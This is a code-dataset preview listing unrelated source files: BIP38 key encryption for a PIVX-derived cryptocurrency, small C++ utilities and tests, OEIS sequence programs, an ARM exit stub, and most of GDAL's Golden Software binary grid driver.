text
stringlengths
1
1.05M
// Copyright (c) 2017-2018 The PIVX developers // Copyright (c) 2021-2022 The FunCoin developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "bip38.h" #include "base58.h" #include "hash.h" #include "pubkey.h" #include "util.h" #include "utilstrencodings.h" #include "random.h" #include <openssl/aes.h> #include <openssl/sha.h> #include <secp256k1.h> #include <string> /** 39 bytes - 78 characters * 1) Prefix - 2 bytes - 4 chars - strKey[0..3] * 2) Flagbyte - 1 byte - 2 chars - strKey[4..5] * 3) addresshash - 4 bytes - 8 chars - strKey[6..13] * 4) Owner Entropy - 8 bytes - 16 chars - strKey[14..29] * 5) Encrypted Part 1 - 8 bytes - 16 chars - strKey[30..45] * 6) Encrypted Part 2 - 16 bytes - 32 chars - strKey[46..77] */ void DecryptAES(uint256 encryptedIn, uint256 decryptionKey, uint256& output) { AES_KEY key; AES_set_decrypt_key(decryptionKey.begin(), 256, &key); AES_decrypt(encryptedIn.begin(), output.begin(), &key); } void ComputePreFactor(std::string strPassphrase, std::string strSalt, uint256& prefactor) { //passfactor is the scrypt hash of passphrase and ownersalt (NOTE this needs to handle alt cases too in the future) uint64_t s = uint256(ReverseEndianString(strSalt)).Get64(); scrypt_hash(strPassphrase.c_str(), strPassphrase.size(), BEGIN(s), strSalt.size() / 2, BEGIN(prefactor), 16384, 8, 8, 32); } void ComputePassfactor(std::string ownersalt, uint256 prefactor, uint256& passfactor) { //concat prefactor and ownersalt uint512 temp(ReverseEndianString(HexStr(prefactor) + ownersalt)); Hash(temp.begin(), 40, passfactor.begin()); //40 bytes is the length of prefactor + salt Hash(passfactor.begin(), 32, passfactor.begin()); } bool ComputePasspoint(uint256 passfactor, CPubKey& passpoint) { size_t clen = 65; secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_SIGN); assert(ctx != nullptr); { // Pass in a random blinding seed to the secp256k1 context. std::vector<unsigned char, secure_allocator<unsigned char>> vseed(32); GetRandBytes(vseed.data(), 32); bool ret = secp256k1_context_randomize(ctx, vseed.data()); assert(ret); } secp256k1_pubkey pubkey; //passpoint is the ec_mult of passfactor on secp256k1 if (!secp256k1_ec_pubkey_create(ctx, &pubkey, passfactor.begin())) { secp256k1_context_destroy(ctx); return false; } secp256k1_ec_pubkey_serialize(ctx, (unsigned char*)passpoint.begin(), &clen, &pubkey, SECP256K1_EC_COMPRESSED); secp256k1_context_destroy(ctx); if (passpoint.size() != clen) return false; if (!passpoint.IsValid()) return false; return true; } void ComputeSeedBPass(CPubKey passpoint, std::string strAddressHash, std::string strOwnerSalt, uint512& seedBPass) { // Derive decryption key for seedb using scrypt with passpoint, addresshash, and ownerentropy string salt = ReverseEndianString(strAddressHash + strOwnerSalt); uint256 s2(salt); scrypt_hash(BEGIN(passpoint), HexStr(passpoint).size() / 2, BEGIN(s2), salt.size() / 2, BEGIN(seedBPass), 1024, 1, 1, 64); } void ComputeFactorB(uint256 seedB, uint256& factorB) { //factorB - a double sha256 hash of seedb Hash(seedB.begin(), 24, factorB.begin()); //seedB is only 24 bytes Hash(factorB.begin(), 32, factorB.begin()); } std::string AddressToBip38Hash(std::string address) { uint256 addrCheck; Hash((void*)address.c_str(), address.size(), addrCheck.begin()); Hash(addrCheck.begin(), 32, addrCheck.begin()); return HexStr(addrCheck).substr(0, 8); } std::string BIP38_Encrypt(std::string strAddress, std::string strPassphrase, uint256 privKey, bool fCompressed) { string strAddressHash = AddressToBip38Hash(strAddress); uint512 hashed; uint64_t salt = uint256(ReverseEndianString(strAddressHash)).Get64(); scrypt_hash(strPassphrase.c_str(), strPassphrase.size(), BEGIN(salt), strAddressHash.size() / 2, BEGIN(hashed), 16384, 8, 8, 64); uint256 derivedHalf1(hashed.ToString().substr(64, 64)); uint256 derivedHalf2(hashed.ToString().substr(0, 64)); //block1 = (pointb[1...16] xor derivedhalf1[0...15]) uint256 block1 = uint256((privKey << 128) ^ (derivedHalf1 << 128)) >> 128; //encrypt part 1 uint512 encrypted1; AES_KEY key; AES_set_encrypt_key(derivedHalf2.begin(), 256, &key); AES_encrypt(block1.begin(), encrypted1.begin(), &key); //block2 = (pointb[17...32] xor derivedhalf1[16...31] uint256 p2 = privKey >> 128; uint256 dh12 = derivedHalf1 >> 128; uint256 block2 = uint256(p2 ^ dh12); //encrypt part 2 uint512 encrypted2; AES_encrypt(block2.begin(), encrypted2.begin(), &key); string strPrefix = "0142"; strPrefix += (fCompressed ? "E0" : "C0"); uint512 encryptedKey(ReverseEndianString(strPrefix + strAddressHash)); //add encrypted1 to the end of encryptedKey encryptedKey = encryptedKey | (encrypted1 << 56); //add encrypted2 to the end of encryptedKey encryptedKey = encryptedKey | (encrypted2 << (56 + 128)); //Base58 checksum is the 4 bytes of dSHA256 hash of the encrypted key uint256 hashChecksum = Hash(encryptedKey.begin(), encryptedKey.begin() + 39); uint512 b58Checksum(hashChecksum.ToString().substr(64 - 8, 8)); // append the encrypted key with checksum (currently occupies 312 bits) encryptedKey = encryptedKey | (b58Checksum << 312); //43 bytes is the total size that we are encoding return EncodeBase58(encryptedKey.begin(), encryptedKey.begin() + 43); } bool BIP38_Decrypt(std::string strPassphrase, std::string strEncryptedKey, uint256& privKey, bool& fCompressed) { std::string strKey = DecodeBase58(strEncryptedKey.c_str()); //incorrect encoding of key, it must be 39 bytes - and another 4 bytes for base58 checksum if (strKey.size() != (78 + 8)) return false; //invalid prefix if (uint256(ReverseEndianString(strKey.substr(0, 2))) != uint256(0x01)) return false; uint256 type(ReverseEndianString(strKey.substr(2, 2))); uint256 flag(ReverseEndianString(strKey.substr(4, 2))); std::string strAddressHash = strKey.substr(6, 8); std::string ownersalt = strKey.substr(14, 16); uint256 encryptedPart1(ReverseEndianString(strKey.substr(30, 16))); uint256 encryptedPart2(ReverseEndianString(strKey.substr(46, 32))); fCompressed = (flag & uint256(0x20)) != 0; //not ec multiplied if (type == uint256(0x42)) { uint512 hashed; encryptedPart1 = uint256(ReverseEndianString(strKey.substr(14, 32))); uint64_t salt = uint256(ReverseEndianString(strAddressHash)).Get64(); scrypt_hash(strPassphrase.c_str(), strPassphrase.size(), BEGIN(salt), strAddressHash.size() / 2, BEGIN(hashed), 16384, 8, 8, 64); uint256 derivedHalf1(hashed.ToString().substr(64, 64)); uint256 derivedHalf2(hashed.ToString().substr(0, 64)); uint256 decryptedPart1; DecryptAES(encryptedPart1, derivedHalf2, decryptedPart1); uint256 decryptedPart2; DecryptAES(encryptedPart2, derivedHalf2, decryptedPart2); //combine decrypted parts into 64 bytes uint256 temp1 = decryptedPart2 << 128; temp1 = temp1 | decryptedPart1; //xor the decryption with the derived half 1 for the final key privKey = temp1 ^ derivedHalf1; return true; } else if (type != uint256(0x43)) //invalid type return false; bool fLotSequence = (flag & 0x04) != 0; std::string prefactorSalt = ownersalt; if (fLotSequence) prefactorSalt = ownersalt.substr(0, 8); uint256 prefactor; ComputePreFactor(strPassphrase, prefactorSalt, prefactor); uint256 passfactor; if (fLotSequence) ComputePassfactor(ownersalt, prefactor, passfactor); else passfactor = prefactor; CPubKey passpoint; if (!ComputePasspoint(passfactor, passpoint)) return false; uint512 seedBPass; ComputeSeedBPass(passpoint, strAddressHash, ownersalt, seedBPass); //get derived halfs, being mindful for endian switch uint256 derivedHalf1(seedBPass.ToString().substr(64, 64)); uint256 derivedHalf2(seedBPass.ToString().substr(0, 64)); /** Decrypt encryptedpart2 using AES256Decrypt to yield the last 8 bytes of seedb and the last 8 bytes of encryptedpart1. **/ uint256 decryptedPart2; DecryptAES(encryptedPart2, derivedHalf2, decryptedPart2); //xor decryptedPart2 and 2nd half of derived half 1 uint256 x0 = derivedHalf1 >> 128; //drop off the first half (note: endian) uint256 x1 = decryptedPart2 ^ x0; uint256 seedbPart2 = x1 >> 64; /** Decrypt encryptedpart1 to yield the remainder of seedb. **/ uint256 decryptedPart1; uint256 x2 = x1 & uint256("0xffffffffffffffff"); // set x2 to seedbPart1 (still encrypted) x2 = x2 << 64; //make room to add encryptedPart1 to the front x2 = encryptedPart1 | x2; //combine with encryptedPart1 DecryptAES(x2, derivedHalf2, decryptedPart1); //decrypted part 1: seedb[0..15] xor derivedhalf1[0..15] uint256 x3 = derivedHalf1 & uint256("0xffffffffffffffffffffffffffffffff"); uint256 seedbPart1 = decryptedPart1 ^ x3; uint256 seedB = seedbPart1 | (seedbPart2 << 128); uint256 factorB; ComputeFactorB(seedB, factorB); //multiply passfactor by factorb mod N to yield the priv key secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_SIGN); assert(ctx != nullptr); { // Pass in a random blinding seed to the secp256k1 context. std::vector<unsigned char, secure_allocator<unsigned char>> vseed(32); GetRandBytes(vseed.data(), 32); bool ret = secp256k1_context_randomize(ctx, vseed.data()); assert(ret); } privKey = factorB; if (!secp256k1_ec_privkey_tweak_mul(ctx, privKey.begin(), passfactor.begin())) { secp256k1_context_destroy(ctx); return false; } secp256k1_context_destroy(ctx); //double check that the address hash matches our final privkey CKey k; k.Set(privKey.begin(), privKey.end(), fCompressed); CPubKey pubkey = k.GetPubKey(); string address = CBitcoinAddress(pubkey.GetID()).ToString(); return strAddressHash == AddressToBip38Hash(address); }
class ValidBrackets { public: bool isValid(string s) { std::stack<char> st; for(char ch: s){ if (ch == '(') st.push(')'); else if (ch == '[') st.push(']'); else if (ch == '{') st.push('}'); else if (!st.empty() && ch == st.top()) st.pop(); else return false; } return st.empty(); } };
/// @copyright /// Copyright (C) 2020 Assured Information Security, Inc. /// /// @copyright /// Permission is hereby granted, free of charge, to any person obtaining a copy /// of this software and associated documentation files (the "Software"), to deal /// in the Software without restriction, including without limitation the rights /// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell /// copies of the Software, and to permit persons to whom the Software is /// furnished to do so, subject to the following conditions: /// /// @copyright /// The above copyright notice and this permission notice shall be included in /// all copies or substantial portions of the Software. /// /// @copyright /// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR /// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, /// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE /// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER /// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, /// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE /// SOFTWARE. #include <bsl/debug.hpp> #include <bsl/is_same.hpp> namespace bsl { /// <!-- description --> /// @brief Provides the example's main function /// inline void example_is_same_overview() noexcept { if constexpr (bsl::is_same<bool, bool>::value) { bsl::print() << "success\n"; } else { bsl::error() << "failure\n"; } } }
#include "TruthValueSet.h" #include <ostream> namespace fovris { TruthValueSet::TruthValueSet(const std::vector<TruthValue> &values) { for (TruthValue t : values) { set.set(static_cast<size_t>(t), 1); } } TruthValueSet::TruthValueSet(std::initializer_list<TruthValue> values) { for (TruthValue t : values) { set.set(static_cast<size_t>(t), 1); } } TruthValueSet::operator bool() const { return !isEmpty(); } TruthValueSet TruthValueSet::getComplement() const { TruthValueSet copy(*this); for (auto val : {TruthValue::True, TruthValue::False, TruthValue::Incons, TruthValue::Unknown}) { copy.set.set(static_cast<size_t>(val), !set.test(static_cast<uint8_t>(val))); } return copy; } TruthValueSet TruthValueSet::getNegation() const { if (set.test(static_cast<uint8_t>(TruthValue::True))) { if (set.test(static_cast<uint8_t>(TruthValue::False))) { return *this; } TruthValueSet copy(*this); copy.set.set(static_cast<size_t>(TruthValue::True), false); copy.set.set(static_cast<size_t>(TruthValue::False)); return copy; } if (set.test(static_cast<uint8_t>(TruthValue::False))) { TruthValueSet copy(*this); copy.set.set(static_cast<size_t>(TruthValue::False), false); copy.set.set(static_cast<size_t>(TruthValue::True)); return copy; } return *this; } std::vector<TruthValue> TruthValueSet::getSet() const { std::vector<TruthValue> vec; for (uint8_t i = 0; i < 4; ++i) { if (set.test(i)) { vec.push_back(static_cast<TruthValue>(i)); } } return vec; } std::ostream &operator<<(std::ostream &os, const TruthValueSet &t) { int printed = 0; for (uint8_t i = 0; i < 4; i++) { if (t.set.test(i)) { if (printed > 0) { os << ','; } os << static_cast<TruthValue>(i); printed++; } } return os; } } // fovris
; A314674: Coordination sequence Gal.4.58.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,5,9,13,17,21,25,30,35,39,43,47,51,55,60,65,69,73,77,81,85,90,95,99,103,107,111,115,120,125,129,133,137,141,145,150,155,159,163,167,171,175,180,185,189,193,197,201,205,210 mov $4,$0 trn $0,4 add $0,4 lpb $0,1 trn $0,6 sub $2,$2 add $2,$0 sub $0,1 add $3,2 add $2,$3 lpe mov $1,$2 lpb $4,1 add $1,4 sub $4,1 lpe sub $1,1
; A065140: a(n) = 2^n*(2*n)!. ; 1,4,96,5760,645120,116121600,30656102400,11158821273600,5356234211328000,3278015337332736000,2491291656372879360000,2301953490488540528640000,2541356653499348743618560000,3303763649549153366704128000000,4995290638118319890456641536000000,8691805710325876609394556272640000000,17244542529286539193038799644917760000000,38696753435718993949179066403195453440000000,97515818658011864751931247336052542668800000000,274214482066329363682430667508979749984665600000000 mul $0,4 mov $1,1 lpb $0 add $2,$0 sub $0,4 mul $1,$2 lpe mov $0,$1
/* * Copyright 2018-2021 Mahdi Khanalizadeh * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ .section .text .global linux_exit linux_exit: mov r7, #1 swi 0x0
#include <cstdlib> #include <cstdio> #include <glog/logging.h> #include <gtest/gtest.h> #include "common.h" namespace paradigm4 { namespace pico { namespace core { TEST(VectorMoveAppend, ok) { std::vector<std::vector<int>> vect = {{3, 4}, {5}, {6, 7, 8}}; std::vector<std::vector<int>> result = {{0}, {1, 2}}; vector_move_append(result, vect); int i = 0; for (auto& v : result) { for (auto& e : v) { EXPECT_EQ(i++, e); } } EXPECT_EQ(vect.size(), 3u); for (auto& v : vect) { EXPECT_EQ(v.size(), 0u); } } } // namespace core } // namespace pico } // namespace paradigm4 int main(int argc, char* argv[]) { testing::InitGoogleTest(&argc, argv); int ret = RUN_ALL_TESTS(); return ret; }
/****************************************************************************** * $Id$ * * Project: GDAL * Purpose: Implements the Golden Software Binary Grid Format. * Author: Kevin Locke, kwl7@cornell.edu * (Based largely on aaigriddataset.cpp by Frank Warmerdam) * ****************************************************************************** * Copyright (c) 2006, Kevin Locke <kwl7@cornell.edu> * Copyright (c) 2008-2012, Even Rouault <even dot rouault at mines-paris dot org> * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. ****************************************************************************/ #include "cpl_conv.h" #include <float.h> #include <limits.h> #include <assert.h> #include "gdal_pam.h" #ifndef DBL_MAX # ifdef __DBL_MAX__ # define DBL_MAX __DBL_MAX__ # else # define DBL_MAX 1.7976931348623157E+308 # endif /* __DBL_MAX__ */ #endif /* DBL_MAX */ #ifndef FLT_MAX # ifdef __FLT_MAX__ # define FLT_MAX __FLT_MAX__ # else # define FLT_MAX 3.40282347E+38F # endif /* __FLT_MAX__ */ #endif /* FLT_MAX */ #ifndef INT_MAX # define INT_MAX 2147483647 #endif /* INT_MAX */ #ifndef SHRT_MAX # define SHRT_MAX 32767 #endif /* SHRT_MAX */ CPL_CVSID("$Id$"); CPL_C_START void GDALRegister_GSBG(void); CPL_C_END /************************************************************************/ /* ==================================================================== */ /* GSBGDataset */ /* ==================================================================== */ /************************************************************************/ class GSBGRasterBand; class GSBGDataset : public GDALPamDataset { friend class GSBGRasterBand; static const float fNODATA_VALUE; static const size_t nHEADER_SIZE; static CPLErr WriteHeader( VSILFILE *fp, GInt16 nXSize, GInt16 nYSize, double dfMinX, double dfMaxX, double dfMinY, double dfMaxY, double dfMinZ, double dfMaxZ ); VSILFILE *fp; public: ~GSBGDataset(); static int Identify( GDALOpenInfo * ); static GDALDataset *Open( GDALOpenInfo * ); static GDALDataset *Create( const char * pszFilename, int nXSize, int nYSize, int nBands, GDALDataType eType, char **papszParmList ); static GDALDataset *CreateCopy( const char *pszFilename, GDALDataset *poSrcDS, int bStrict, char **papszOptions, GDALProgressFunc pfnProgress, void *pProgressData ); CPLErr GetGeoTransform( double *padfGeoTransform ); CPLErr SetGeoTransform( double *padfGeoTransform ); }; /* NOTE: This is not mentioned in the spec, but Surfer 8 uses this value */ /* 0x7effffee (Little Endian: eeffff7e) */ const float GSBGDataset::fNODATA_VALUE = 1.701410009187828e+38f; const size_t GSBGDataset::nHEADER_SIZE = 56; /************************************************************************/ /* ==================================================================== */ /* GSBGRasterBand */ /* ==================================================================== */ /************************************************************************/ class GSBGRasterBand : public GDALPamRasterBand { friend class GSBGDataset; double dfMinX; double dfMaxX; double dfMinY; double dfMaxY; double dfMinZ; double dfMaxZ; float *pafRowMinZ; float *pafRowMaxZ; int nMinZRow; int nMaxZRow; CPLErr ScanForMinMaxZ(); public: GSBGRasterBand( GSBGDataset *, int ); ~GSBGRasterBand(); CPLErr IReadBlock( int, int, void * ); CPLErr IWriteBlock( int, int, void * ); double GetNoDataValue( int *pbSuccess = NULL ); double GetMinimum( int *pbSuccess = NULL ); double GetMaximum( int *pbSuccess = NULL ); }; /************************************************************************/ /* GSBGRasterBand() */ /************************************************************************/ GSBGRasterBand::GSBGRasterBand( GSBGDataset *poDS, int nBand ) : pafRowMinZ(NULL), pafRowMaxZ(NULL), nMinZRow(-1), nMaxZRow(-1) { this->poDS = poDS; this->nBand = nBand; eDataType = GDT_Float32; nBlockXSize = poDS->GetRasterXSize(); nBlockYSize = 1; } /************************************************************************/ /* ~GSBGRasterBand() */ /************************************************************************/ GSBGRasterBand::~GSBGRasterBand( ) { if( pafRowMinZ != NULL ) CPLFree( pafRowMinZ ); if( pafRowMaxZ != NULL ) CPLFree( pafRowMaxZ ); } /************************************************************************/ /* ScanForMinMaxZ() */ /************************************************************************/ CPLErr GSBGRasterBand::ScanForMinMaxZ() { float *pafRowVals = (float *)VSIMalloc2( nRasterXSize, 4 ); if( pafRowVals == NULL ) { CPLError( CE_Failure, CPLE_OutOfMemory, "Unable to allocate row buffer to scan grid file.\n" ); return CE_Failure; } double dfNewMinZ = DBL_MAX; double dfNewMaxZ = -DBL_MAX; int nNewMinZRow = 0; int nNewMaxZRow = 0; /* Since we have to scan, lets calc. statistics too */ double dfSum = 0.0; double dfSum2 = 0.0; unsigned long nValuesRead = 0; for( int iRow=0; iRow<nRasterYSize; iRow++ ) { CPLErr eErr = IReadBlock( 0, iRow, pafRowVals ); if( eErr != CE_None ) { VSIFree( pafRowVals ); return CE_Failure; } pafRowMinZ[iRow] = FLT_MAX; pafRowMaxZ[iRow] = -FLT_MAX; for( int iCol=0; iCol<nRasterXSize; iCol++ ) { if( pafRowVals[iCol] == GSBGDataset::fNODATA_VALUE ) continue; if( pafRowVals[iCol] < pafRowMinZ[iRow] ) pafRowMinZ[iRow] = pafRowVals[iCol]; if( pafRowVals[iCol] > pafRowMinZ[iRow] ) pafRowMaxZ[iRow] = pafRowVals[iCol]; dfSum += pafRowVals[iCol]; dfSum2 += pafRowVals[iCol] * pafRowVals[iCol]; nValuesRead++; } if( pafRowMinZ[iRow] < dfNewMinZ ) { dfNewMinZ = pafRowMinZ[iRow]; nNewMinZRow = iRow; } if( pafRowMaxZ[iRow] > dfNewMaxZ ) { dfNewMaxZ = pafRowMaxZ[iRow]; nNewMaxZRow = iRow; } } VSIFree( pafRowVals ); if( nValuesRead == 0 ) { dfMinZ = 0.0; dfMaxZ = 0.0; nMinZRow = 0; nMaxZRow = 0; return CE_None; } dfMinZ = dfNewMinZ; dfMaxZ = dfNewMaxZ; nMinZRow = nNewMinZRow; nMaxZRow = nNewMaxZRow; double dfMean = dfSum / nValuesRead; double dfStdDev = sqrt((dfSum2 / nValuesRead) - (dfMean * dfMean)); SetStatistics( dfMinZ, dfMaxZ, dfMean, dfStdDev ); return CE_None; } /************************************************************************/ /* IReadBlock() */ /************************************************************************/ CPLErr GSBGRasterBand::IReadBlock( int nBlockXOff, int nBlockYOff, void * pImage ) { if( nBlockYOff < 0 || nBlockYOff > nRasterYSize - 1 || nBlockXOff != 0 ) return CE_Failure; GSBGDataset *poGDS = dynamic_cast<GSBGDataset *>(poDS); if( VSIFSeekL( poGDS->fp, GSBGDataset::nHEADER_SIZE + 4 * nRasterXSize * (nRasterYSize - nBlockYOff - 1), SEEK_SET ) != 0 ) { CPLError( CE_Failure, CPLE_FileIO, "Unable to seek to beginning of grid row.\n" ); return CE_Failure; } if( VSIFReadL( pImage, sizeof(float), nBlockXSize, poGDS->fp ) != static_cast<unsigned>(nBlockXSize) ) { CPLError( CE_Failure, CPLE_FileIO, "Unable to read block from grid file.\n" ); return CE_Failure; } float *pfImage; pfImage = (float *)pImage; for( int iPixel=0; iPixel<nBlockXSize; iPixel++ ) CPL_LSBPTR32( pfImage+iPixel ); return CE_None; } /************************************************************************/ /* IWriteBlock() */ /************************************************************************/ CPLErr GSBGRasterBand::IWriteBlock( int nBlockXOff, int nBlockYOff, void *pImage ) { if( eAccess == GA_ReadOnly ) { CPLError( CE_Failure, CPLE_NoWriteAccess, "Unable to write block, dataset opened read only.\n" ); return CE_Failure; } if( nBlockYOff < 0 || nBlockYOff > nRasterYSize - 1 || nBlockXOff != 0 ) return CE_Failure; GSBGDataset *poGDS = dynamic_cast<GSBGDataset *>(poDS); assert( poGDS != NULL ); if( pafRowMinZ == NULL || pafRowMaxZ == NULL || nMinZRow < 0 || nMaxZRow < 0 ) { pafRowMinZ = (float *)VSIMalloc2( nRasterYSize,sizeof(float) ); if( pafRowMinZ == NULL ) { CPLError( CE_Failure, CPLE_OutOfMemory, "Unable to allocate space for row minimums array.\n" ); return CE_Failure; } pafRowMaxZ = (float *)VSIMalloc2( nRasterYSize,sizeof(float) ); if( pafRowMaxZ == NULL ) { VSIFree( pafRowMinZ ); pafRowMinZ = NULL; CPLError( CE_Failure, CPLE_OutOfMemory, "Unable to allocate space for row maximums array.\n" ); return CE_Failure; } CPLErr eErr = ScanForMinMaxZ(); if( eErr != CE_None ) return eErr; } if( VSIFSeekL( poGDS->fp, GSBGDataset::nHEADER_SIZE + 4 * nRasterXSize * (nRasterYSize - nBlockYOff - 1), SEEK_SET ) != 0 ) { CPLError( CE_Failure, CPLE_FileIO, "Unable to seek to beginning of grid row.\n" ); return CE_Failure; } float *pfImage = (float *)pImage; pafRowMinZ[nBlockYOff] = FLT_MAX; pafRowMaxZ[nBlockYOff] = -FLT_MAX; for( int iPixel=0; iPixel<nBlockXSize; iPixel++ ) { if( pfImage[iPixel] != GSBGDataset::fNODATA_VALUE ) { if( pfImage[iPixel] < pafRowMinZ[nBlockYOff] ) pafRowMinZ[nBlockYOff] = pfImage[iPixel]; if( pfImage[iPixel] > pafRowMaxZ[nBlockYOff] ) pafRowMaxZ[nBlockYOff] = pfImage[iPixel]; } CPL_LSBPTR32( pfImage+iPixel ); } if( VSIFWriteL( pImage, sizeof(float), nBlockXSize, poGDS->fp ) != static_cast<unsigned>(nBlockXSize) ) { CPLError( CE_Failure, CPLE_FileIO, "Unable to write block to grid file.\n" ); return CE_Failure; } /* Update min/max Z values as appropriate */ bool bHeaderNeedsUpdate = false; if( nMinZRow == nBlockYOff && pafRowMinZ[nBlockYOff] > dfMinZ ) { double dfNewMinZ = DBL_MAX; for( int iRow=0; iRow<nRasterYSize; iRow++ ) { if( pafRowMinZ[iRow] < dfNewMinZ ) { dfNewMinZ = pafRowMinZ[iRow]; nMinZRow = iRow; } } if( dfNewMinZ != dfMinZ ) { dfMinZ = dfNewMinZ; bHeaderNeedsUpdate = true; } } if( nMaxZRow == nBlockYOff && pafRowMaxZ[nBlockYOff] < dfMaxZ ) { double dfNewMaxZ = -DBL_MAX; for( int iRow=0; iRow<nRasterYSize; iRow++ ) { if( pafRowMaxZ[iRow] > dfNewMaxZ ) { dfNewMaxZ = pafRowMaxZ[iRow]; nMaxZRow = iRow; } } if( dfNewMaxZ != dfMaxZ ) { dfMaxZ = dfNewMaxZ; bHeaderNeedsUpdate = true; } } if( pafRowMinZ[nBlockYOff] < dfMinZ || pafRowMaxZ[nBlockYOff] > dfMaxZ ) { if( pafRowMinZ[nBlockYOff] < dfMinZ ) { dfMinZ = pafRowMinZ[nBlockYOff]; nMinZRow = nBlockYOff; } if( pafRowMaxZ[nBlockYOff] > dfMaxZ ) { dfMaxZ = pafRowMaxZ[nBlockYOff]; nMaxZRow = nBlockYOff; } bHeaderNeedsUpdate = true; } if( bHeaderNeedsUpdate && dfMaxZ > dfMinZ ) { CPLErr eErr = poGDS->WriteHeader( poGDS->fp, (GInt16) nRasterXSize, (GInt16) nRasterYSize, dfMinX, dfMaxX, dfMinY, dfMaxY, dfMinZ, dfMaxZ ); return eErr; } return CE_None; } /************************************************************************/ /* GetNoDataValue() */ /************************************************************************/ double GSBGRasterBand::GetNoDataValue( int * pbSuccess ) { if( pbSuccess ) *pbSuccess = TRUE; return GSBGDataset::fNODATA_VALUE; } /************************************************************************/ /* GetMinimum() */ /************************************************************************/ double GSBGRasterBand::GetMinimum( int *pbSuccess ) { if( pbSuccess ) *pbSuccess = TRUE; return dfMinZ; } /************************************************************************/ /* GetMaximum() */ /************************************************************************/ double GSBGRasterBand::GetMaximum( int *pbSuccess ) { if( pbSuccess ) *pbSuccess = TRUE; return dfMaxZ; } /************************************************************************/ /* ==================================================================== */ /* GSBGDataset */ /* ==================================================================== */ /************************************************************************/ GSBGDataset::~GSBGDataset() { FlushCache(); if( fp != NULL ) VSIFCloseL( fp ); } /************************************************************************/ /* Identify() */ /************************************************************************/ int GSBGDataset::Identify( GDALOpenInfo * poOpenInfo ) { /* Check for signature */ if( poOpenInfo->nHeaderBytes < 4 || !EQUALN((const char *) poOpenInfo->pabyHeader,"DSBB",4) ) { return FALSE; } return TRUE; } /************************************************************************/ /* Open() */ /************************************************************************/ GDALDataset *GSBGDataset::Open( GDALOpenInfo * poOpenInfo ) { if( !Identify(poOpenInfo) ) { return NULL; } /* -------------------------------------------------------------------- */ /* Create a corresponding GDALDataset. */ /* -------------------------------------------------------------------- */ GSBGDataset *poDS = new GSBGDataset(); /* -------------------------------------------------------------------- */ /* Open file with large file API. */ /* -------------------------------------------------------------------- */ poDS->eAccess = poOpenInfo->eAccess; if( poOpenInfo->eAccess == GA_ReadOnly ) poDS->fp = VSIFOpenL( poOpenInfo->pszFilename, "rb" ); else poDS->fp = VSIFOpenL( poOpenInfo->pszFilename, "r+b" ); if( poDS->fp == NULL ) { delete poDS; CPLError( CE_Failure, CPLE_OpenFailed, "VSIFOpenL(%s) failed unexpectedly.", poOpenInfo->pszFilename ); return NULL; } /* -------------------------------------------------------------------- */ /* Read the header. */ /* -------------------------------------------------------------------- */ if( VSIFSeekL( poDS->fp, 4, SEEK_SET ) != 0 ) { delete poDS; CPLError( CE_Failure, CPLE_FileIO, "Unable to seek to start of grid file header.\n" ); return NULL; } /* Parse number of X axis grid rows */ GInt16 nTemp; if( VSIFReadL( (void *)&nTemp, 2, 1, poDS->fp ) != 1 ) { delete poDS; CPLError( CE_Failure, CPLE_FileIO, "Unable to read raster X size.\n" ); return NULL; } poDS->nRasterXSize = CPL_LSBWORD16( nTemp ); if( VSIFReadL( (void *)&nTemp, 2, 1, poDS->fp ) != 1 ) { delete poDS; CPLError( CE_Failure, CPLE_FileIO, "Unable to read raster Y size.\n" ); return NULL; } poDS->nRasterYSize = CPL_LSBWORD16( nTemp ); if (!GDALCheckDatasetDimensions(poDS->nRasterXSize, poDS->nRasterYSize)) { delete poDS; return NULL; } /* -------------------------------------------------------------------- */ /* Create band information objects. */ /* -------------------------------------------------------------------- */ GSBGRasterBand *poBand = new GSBGRasterBand( poDS, 1 ); double dfTemp; if( VSIFReadL( (void *)&dfTemp, 8, 1, poDS->fp ) != 1 ) { delete poDS; CPLError( CE_Failure, CPLE_FileIO, "Unable to read minimum X value.\n" ); return NULL; } CPL_LSBPTR64( &dfTemp ); poBand->dfMinX = dfTemp; if( VSIFReadL( (void *)&dfTemp, 8, 1, poDS->fp ) != 1 ) { delete poDS; CPLError( CE_Failure, CPLE_FileIO, "Unable to read maximum X value.\n" ); return NULL; } CPL_LSBPTR64( &dfTemp ); poBand->dfMaxX = dfTemp; if( VSIFReadL( (void *)&dfTemp, 8, 1, poDS->fp ) != 1 ) { delete poDS; CPLError( CE_Failure, 